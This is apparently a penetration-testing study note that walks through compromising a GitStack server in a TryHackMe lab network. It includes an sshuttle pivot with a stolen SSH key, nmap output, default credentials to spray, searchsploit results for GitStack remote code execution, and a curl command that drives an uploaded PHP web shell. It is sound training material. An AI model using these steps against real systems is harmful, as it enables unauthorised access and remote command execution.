> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/external-pentest-playbook/wreath-try-hack-me/pivoting/10.200.101.150-git-serv.md).

# 10.200.101.150 \[git-serv]

```bash
sshuttle -r root@10.200.101.200 --ssh-cmd "ssh -i opt/wreath_key" 10.200.101.0/24
```

<figure><img src="/files/zd2700E820uD9VUZEEL6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EBl5ePijh2Syrv0lnVmX" alt=""><figcaption><p><a href="http://10.200.101.150/registration/login/">http://10.200.101.150/registration/login/</a></p></figcaption></figure>

```bash
nmap -p 80 -A -T5 -v 10.200.101.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 15:09 CDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:09
Nmap scan report for 10.200.101.150
Host is up (0.00013s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Win32) mod_ssl/2.2.22 OpenSSL/0.9.8u mod_wsgi/3.3 Python/2.7.2 PHP/5.4.3)
|_http-title: Page not found at /
|_http-server-header: Apache/2.2.22 (Win32) mod_ssl/2.2.22 OpenSSL/0.9.8u mod_wsgi/3.3 Python/2.7.2 PHP/5.4.3

NSE: Script Post-scanning.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.96 seconds

```

## Password spray

* admin:admin
* admin:password
* root:root

## Possible exploits

```bash
searchsploit gitstack
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                              |  Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitStack - Remote Code Execution                                                                                            | php/webapps/44044.md
GitStack - Unsanitized Argument Remote Code Execution (Metasploit)                                                          | windows/remote/44356.rb
GitStack 2.3.10 - Remote Code Execution                                                                                     | php/webapps/43777.py
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

* <https://github.com/TBernard97/Gitstack-2.3.10-Exploit-Refactor>

## Intended Route

```bash
searchsploit -m 43777
subl 43777.py
```

<figure><img src="/files/4j27RxjORdzoPXetWsXT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5ZznaNz94HVKYgLAM2Q6" alt=""><figcaption></figcaption></figure>

Use the uploaded PHP RCE exploit to execute commands

```bash
curl -X POST http://10.200.101.150/web/exploit-adot8.php -d "a=hostname"
```

## Unintended Route

<figure><img src="/files/GkNMOsshtfzpaZpxKCpN" alt=""><figcaption></figcaption></figure>
